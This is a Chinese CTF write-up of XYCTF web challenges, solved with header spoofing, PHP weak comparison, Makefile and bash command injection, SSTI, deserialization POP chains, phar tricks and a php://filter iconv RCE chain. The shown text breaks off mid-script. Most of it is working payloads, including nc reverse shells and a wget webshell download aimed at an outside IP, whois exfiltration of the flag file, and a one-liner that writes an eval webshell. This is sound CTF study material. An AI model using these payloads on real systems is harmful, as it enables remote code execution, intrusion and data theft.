web
ezhttp
查看源码有提示

敏锐的感觉robots.txt有东西

直接看txt文件就好,拿到账户密码。

根据响应改一下referer

改代理

最后显示要本地用户,直接打X-Forwarded-For: 127.0.0.1

但是看响应,这个xff应该是被禁用了,打Client-IP: 127.0.0.1
。常用的头有
1
2
3
4
5
6
7
8
9
10
|
X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1
|
这里好像只能打Client-IP: 127.0.0.1,逆天

显然是要加代理服务器-Via,Via: ymzx.qq.com
(User-Agents是用户代理)

这里饼干,显然是cookie,加上XYCTF,即可拿flag

综合payload
1
2
3
4
5
|
Referer: yuanshen.com
User Agent: XYCTF
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Cookie: XYCTF
|
ezmd5
上传2张不同的图片时areEqual:true,md5Equal:false

上传2张相同图片时恰恰相反

所以可以猜测,应该只要符合两个都是true就可以拿flag,也就是说要找到2张md5值相同的图片。想必大家肯定做过字符的md5强比较,用fastcoll来完成,其实fastcoll也可以碰撞生成图片,操作就是将图片放到fastcoll就会生成2张MD5值相同的图片
使用fastcoll生成字符串MD5碰撞-CSDN博客
工具下载: https://github.com/iamjazz/Md5collision


warm up

都是弱比较,直接打payload了

1
|
val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
|
(0e215962017MD5加密也是0e开头,0e开头的字符会被php处理为0,非数字字符与数字字符比较也会处理为0,但是非数字与非数字比较不会)注意这里有extract($_GET)
变量覆盖,所以可以重新给XYCTF赋值
拿到下一关路由

这里post提交的a用数组绕过preg_match,即a[]=1(intval中传入数组时,会判断数组中的是否存在元素,有则返回1,否则返回0,preg_match当检测的变量是数组的时候会报错并返回0)
下面的preg_replace的考法看下文
CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞) - 乌漆WhiteMoon - 博客园
PHP preg_replace() 函数 | 菜鸟教程

所以这里get传a=/1/e&b=system('cat /flag')&c=1
,post传a[]=1
ezMake
非预期
直接dirsearch扫一下直接出来/flag,flag就在里面

还有大佬发现eval没过滤,直接打马
1
|
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > 1.php #字符解码是$_POST["cmd"];
|

预期解
makefile怎么读取文件内容 - 问答 - 亿速云
1
2
|
content := $(shell cat flag)
echo $(shell cat flag) #试了试其实$(shell cat flag) 就行
|
Makefile中使用的是GNU Make的语法。
ez?Make
解法一:nc反弹shell
1
|
nc 101.200.39.193 5000 -e sh
|
打反弹shell(bash被禁用了)
解法二-考命令执行功底
上题的eval被禁用了,f l a g @ $ * ? / 也被过滤,还过滤许多命令执行的方法,测试一些下,more还可以用。所以有
1
|
cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&more [0-z][0-z][0-z][0-z] #匹配符绕过过滤的flag
|
官方wp是
1
|
cd ..&&cd ..&&cd ..&&cd ..&&cd bin&&echo "Y2F0IC9mbGFn"|b[!b-z]se64 -d|b[!b-z]sh#匹配符绕过原型base64 -d|bash
|
这两个有异曲同工之妙,就是进入到bin目录里面,然后执行命令cat /flag。找时间要总结一个命令执行的字典
εZ?¿м@Kε¿?
进入页面右键有源码提示,然后进入路由

尝试一下,发现竟然是白名单,在makefile我们怎么只用这几个字符构造命令,看看下文
Makefile的编写及四个特殊符号的意义@、$@、$^、$ - 春风一郎 - 博客园
1
2
3
4
5
|
$@ --代表目标文件(target)
$^ --代表所有的依赖文件(components)
$< --代表第一个依赖文件(components中最左边的那个)。
|
尝试发现$<就是flag,也就是说这个时候怎么读取它了,从上面的文章我我们又知道
1
2
3
4
5
|
' $ '符号的使用
美元符号$,主要扩展打开makefile中定义的变量
' $$ '符号的使用
$$ 符号主要扩展打开makefile中定义的shell变量
|
1
2
|
<符号用于重定向输入,即将命令的输入从一个文件中读取,而不是从标准输入(键盘)
>符号用于重定向输出,即将命令的输出写入一个文件,而不是在屏幕上显示
|
然后打$$(<$<)
,就是执行shell命令-即执行<读取/flag内容
我是一个复读机
提示用户名admin,直接跑字典,拿到密码asdqwe,感觉像是ssti,跑跑字典

逆天,{{和{%禁用,打啥,但是看看题目,叫我输入英文字符,输中文的字符发现其中间的就可以正常进行ssti,不出意外是中文字符被替换成了{{}}。
这里主要是_ [] ' " os
被过滤(还一些关键词),ctfshow的原题
很多解法,我的解法是:request+cookie
1
|
的(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()的
|
1
|
a=__globals__;b=os;c=cat /flag
|
request+get也行
1
|
的(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()的&a=__globals__&c=cat%20/flag&b=os
|
牢牢记住,逝者为大
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}#检查 $_GET 参数中是否包含某些特定的字符串(如 bin、mv、cp、ls 等)或特殊字符(如 |、>、* 等
}
return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");
#man,,manba out
|
这里限制了不能超过13个字符,我们需要%0a截断#man的干扰,用%23注释掉",manba out",只剩11个字符,所以这里只能打
这里刚好11个字符(要执行的是PHP代码,因此需要分号;)接下来就是给1传参了
姿势一:wget
在我们的vps写一个马,然后利用wget下载到当前目录,然后执行就行
1
|
?cmd=%0a`$_GET[1]`;%23&1=wget 101.200.39.193:3000/kh.php
|
姿势二:nc反弹
bin被过滤那就拼接绕过
1
|
?cmd=%0a`$_GET[1]`;%23&1=nc 101.200.39.193 5000 -e /b''in/sh
|
其实可以更简单一点,这里连/都不需要
1
|
?cmd=%0a`$_GET[1]`;%23&1=nc 101.200.39.193 5000 -e sh
|
姿势三-cp命令执行
1
|
?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt
|
姿势四-whois反弹
这个whois反弹的shell只能执行后面带的命令,所以直接打
1
|
?cmd=%0a`$_GET[1]`;%23&1=whois -h 101.200.39.193 -p 5000 `more /[b-z][b-z][@-z][b-z]`
|
ezRCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
|
【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户
02.利用shell脚本变量构造无字母数字命令 · 个人知识库
Lunix可以用$'\xxx'
的方式执行命令,xxx是字符ascii码的八进制形式,当我尝试$'\154\163'
(ls)是有响应,但是执行$'154\163\40\57'
不行,原因上面文章也有,简单来说就是其直接将单引号包裹的内容整体当成了一个命令,不能直接利用。
然后接下来这里我们想到bash里的一种语法:command [args] <<<["]$word["]
,在这种语法下$word
会展开并作为command
的stdin
,以此来继续执行命令,但是字母不可以用,这里有两个办法绕过。
解法一:bash也转换为8进制
1
|
?cmd=$'\142\141\163\150'<<<$'\154\163\40\57' #ls /
|
1
|
?cmd=$'\142\141\163\150'<<<$'\143\141\164\40\57\146\154\141\147' #cat /flag
|
解法二:环境变量$0
代替bash
1
|
?cmd=$0<<<$'\143\141\164\40\57\146\154\141\147' #cat /flag
|
ezPOP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
<?php
error_reporting(0);
highlight_file(__FILE__);
class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}
class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}
class CCC
{
public $c;
public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}
if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}
|
这里链子构造很简单,就是这么命令执行有点难搞,但是想也不用想,肯定是在call_user_func($a,$b)($c)($d);下功夫。
call_user_func($a,$b)意思就是函数a将b作为参数调用,call_user_func($a,$b)($c)($d);这个就是嵌套了,call_user_func($a,$b)返回值作为函数调用c,然后其返回值又作为函数调用d。这有很多解法。
用current
写一个测试代码试试,解释些函数
current()函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素
。其实就是返回数组第一个元素.(由于此题post是数组,所以只需要传b=sprintf就行)
sprintf() 函数把格式化的字符串写入变量中。
然后就是unse
t函数:PHP unset() 函数 | 菜鸟教程,unset看似会回收a,其实不影响,因为当执行 $b = $_POST
时,$b
是 $_POST
的独立副本。后续的 unset($b['a'])
只移除了副本中的 a
,原始 $_POST['a']
的值依然存在,所以不影响
最终payload是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?php
class AAA
{
public $s;
public $a;
}
class BBB
{
public $c;
public $d;
}
class CCC
{
public $c;
}
$a=new CCC();
$a->c=new AAA();
$a->c->a="1";
$a->c->s=new BBB();
$a->c->s->c="system";
$a->c->s->d="tac /f*";
echo serialize($a);
|
但是题目最后又throw new Exception("noooooob!!!");
,这里考GC垃圾回收:浅析PHP GC垃圾回收机制及常见利用方式-先知社区
绕过的第一个方法的话就是将payload去掉最后一个}
1
|
O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}
|
post传
第二个方法,就是将echo serialize($a);改为echo serialize(array($a,0));
得到的payload是
1
|
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}}i:1;i:0;}
|
然后看上文GC垃圾回收知道将array($a,0)第二个索引置空
1
|
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"tac /f*";}s:1:"a";s:1:"1";}}i:0;i:0;}
|
然后post一样就行。
当然这里post还可以传
但是这样的话$a->c->s->c=“system”;就要变成$a->c->s->c=array(“system”);因为current只能处理数组
用implode函数
这个nb,又涨知识PHP implode() 函数
implode()
函数返回由数组元素组合成的字符串。
也是很好理解,所以就可以post传
get和上面一样
wp做法:用 Closure 原生类的 fromCallable
[PHP: Closure::fromCallable - Manual](https://www.php.net/manual/zh/closure.fromcallable.php#:~:text=Closure%3A%3AfromCallable — 将 callable 转换为闭包 使用当前范围从给定的 callback 创建并返回一个新的,从 PHP 8.1.0 开始, First-class 可调用语法 的语义与此方法相同。 要转换的回调。)
详细讲解看上面。
1
|
函数 myCustomMapper 函数接受一个回调函数和一个字符串作为参数。它将字符串按空格拆分为单词数组,然后对每个单词应用回调函数,并将结果以空格连接起来,最终返回处理后的字符串
|
所以post传
1
|
a=Closure::fromCallable&0=Closure&1=fromCallable
|
1
|
这里的解释就是参数二次调用出 Closure::fromCallable 然后 Closure 加载后面第一个参数 system 形成回调函数然后加载第二个参数变成 system 的参数
|
get传一样。在这里感觉和implode差不多作用
ezSerialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
class Flag {
public $token;
public $password;
public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}
public function login()
{
return $this->token === $this->password;
}
}
$a=new Flag($token,$password);
$a->password=&$a->token;
echo serialize($a);
|
考php的引用PHP引用(&)使用详解 - 美好的明天 - 博客园
一个引用相等直接绕过,得到路由fpclosefpclosefpcloseffflllaaaggg.php
PHP: 魔术方法 - Manual
第二关有个__unserialize魔术,但是要7.4以上才可以用,题目是7.3,所以不考虑此魔术,而且如果你逆推链子也可以发现这里用不了。
接下来链子就简单了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
<?php
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
$a=new E();
$a->name=new D(); #$this->name = ''拿来跟字符串比较了,因此也会调用__toString方法
$a->name->lao=new B();
$a->name->lao->luo=new A();
$a->name->lao->luo->mack=new C();
echo serialize($a);
|
得到saber_master_saber_master.php,进入第三关
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?php
class XYCTFNO1
{
public $T1ng="yuroandCMD258";
public $crypto0="dev1l";
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "oSthing";
}
$a=new XYCTFNO3();
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();
echo serialize($a);
echo urlencode(serialize($a));
|
这里考一个PHP8 动态属性被弃用兼容方案_creation of dynamic property is deprecated-CSDN博客
即8.2以下的版本可以PHP 类中可以动态设置和获取没有声明过的类属性
题目有点问题,应该是crypto0=“dev1l”。然后打原生类读取文件
1
|
X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php
|
ezClass
解法一:利用可执行函数的内置类
1
|
?a=Exception&aa=system&b=Exception&bb=cat /flag&c=getMessage
|
1
|
Exception(异常类),getMessage()(返回构造函数中的异常信息),上面分别返回system,cat /flag,达到执行命令效果
|
解法二:原生类读取SplFileObject文件
1
|
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag
|
解法三:利用ArrayIterator类调用current
方法来返回当前的值
1
|
?a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /flag
|
PHP: ArrayIterator::current - PHP中文网
pharme
源码提示class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd;
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}
if(isset($_POST['file']))
{
if(preg_match('/^phar:\/\//i',$_POST['file']))
{
die("nonono");
}
file_get_contents($_POST['file']);
}
|
简单的phar反序列化,以前详细讲过https://luo-kaihong.github.io/p/2025-tgctf-write.up/
这题思路,显然,先phar反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
class evil{
public $cmd='eval(end(getallheaders()));__halt_compiler();'; // 定义cmd属性,值为eval函数和__halt_compiler()函数
public function __destruct(){ // 定义析构函数
if('ch3nx1' === preg_replace('/;+/'
,
'ch3nx1'
,preg_replace('/[A-Za-z_\(\\)]+/'
,
''
,$this->cmd))){ // 使用正则表达式过滤cmd中的字母、下划线、括号等字符,然后替换分号为'ch3nx1',判断是否等于'ch3nx1'
eval($this->cmd. // 如果条件成立,执行cmd命令
'isbigvegetablechicken!'); // 在cmd后面添加字符串'isbigvegetablechicken!',然后执行
} else {
echo 'nonono'; // 如果条件不成立,输出'nonono'
}
}
}
$a =new evil(); // 创建evil类的实例$a
$phar = new Phar('1.phar'); # 生成名为1.phar的Phar文件
$phar->stopBuffering(); # 停止缓冲,直接写入文件
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>'); # 设置stub,以GIF89a开头,后面跟着__HALT_COMPILER(),使Phar文件看起来像图片文件
$phar->setMetadata($a); # 将$a作为元数据写入Phar文件,用于反序列化
$phar->addFromString('1.txt', '1'); # 向Phar文件添加内容为'1'的1.txt文件
$phar->stopBuffering(); # 再次停止缓冲,确保所有内容都已写入
?>
|
来解释一下这个代码特殊之处,这个源码显然是告诉我们只能含有字母A-Z,a-z,下划线_和左右括号(),其实也就是无参RCE,那就打
1
2
|
eval(end(getallheaders()));
请求头最后一行:system('cat /flag')
|
ByteCTF一道题的分析与学习PHP无参数函数的利用-先知社区
1
|
然后为了注释'isbigvegetablechicken!',用__halt_compiler();(eval中的字符串是拼接的,且不能用#和//进行注释)
|
环境配置分享的第一篇文章有讲,然后生成phar文件,测试发现只能上传图片,改后缀发现报错
1
|
!preg_match(“/__HALT_COMPILER/i”,FILE_CONTENTS)
|
说明还是发现是phar文件,所以gzip压缩一下(liunx环境执行)
然后改后缀为1.png上传得到路径/tmp/4a47a0db6e60853dedfcfdf08a5ca249.png
然后绕过掉phar://开头的正则,本来想打compress.zlib绕过,后面了解是要开启zip拓展才有的,这里用不了
php反序列化拓展攻击详解–phar-先知社区
所以就用伪协议打
1
|
file=php://filter/resource=phar:///tmp/4a47a0db6e60853dedfcfdf08a5ca249.png
|
抓包后就在请求头最后执行命令就好了
这题考的挺多知识点:
phar反序列化+无参rce+__halt_compiler来终止编译+gzip压缩绕过phar文件检测+伪协议绕过phar头检测
ezLFI
题目附件有index.php源码就是
1
|
<?php include_once($_REQUEST['file']);
|
读附件给的docker-entrypoint.sh 发现chmod 400 /flag # 设置只读权限
,但是发现/readflag可以执行,然后其执行可以读取flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
rm -f /docker-entrypoint.sh # 清理默认Docker入口脚本
user=$(ls /home) # 获取/home目录用户列表(ls解析存在风险)
INSERT_FLAG="flag{TEST_FLAG}" # 定义预设flag值
echo $INSERT_FLAG | tee /flag # 写入flag到系统根目录
chmod 400 /flag # 设置只读权限(400=rw-------)
cd /build # 进入编译目录
musl-gcc -s -oreadflag -Os -static readflag.c # 静态编译可执行文件(-s去符号表,-Os优化体积)
cp /build/readflag / # 部署到根目录
chmod u=srx,g=rx,o=x /readflag # 设置SUID权限(s=提权,rx=可读执行)
/etc/init.d/php7.4-fpm start \ # 启动PHP-FPM服务
&& nginx -g 'daemon off;' # 前台启动Nginx(&&确保顺序执行)
tail -f /dev/null # 保持容器存活(阻塞进程防退出)
|
所以这里显然这里是文件包含执行命令,那就是用就是filterChain。具体看
利用filter过滤器的编码组合构造RCE-腾讯云开发者社区-腾讯云
php://filter特性包含任意文件getshell | CTF导航
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
简单就是通过不同的编码转换构造字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
import requests
url = "http://localhost:49819/?file="
file_to_use = "/etc/passwd"
command = "/readflag"
# <?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
|
官方给出的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
|
<?php
// 基础payload,这是一个被base64编码的字符串
// 解码后的内容是 <?php @eval($_REQUEST['cmd']);,
$base64_payload = "PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Pz4";
// 定义一个转换规则数组,每个字符对应多种iconv转换规则组合
// 这些规则用于在字符编码转换过程中混淆payload,绕过安全检测
$conversions = array(
// '/' 字符的转换规则,通过多次iconv转换来混淆数据
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
// 数字字符的转换规则
// 每个数字对应多个稀奇古怪的字符编码转换规则组合
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
// 大写字母的转换规则
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
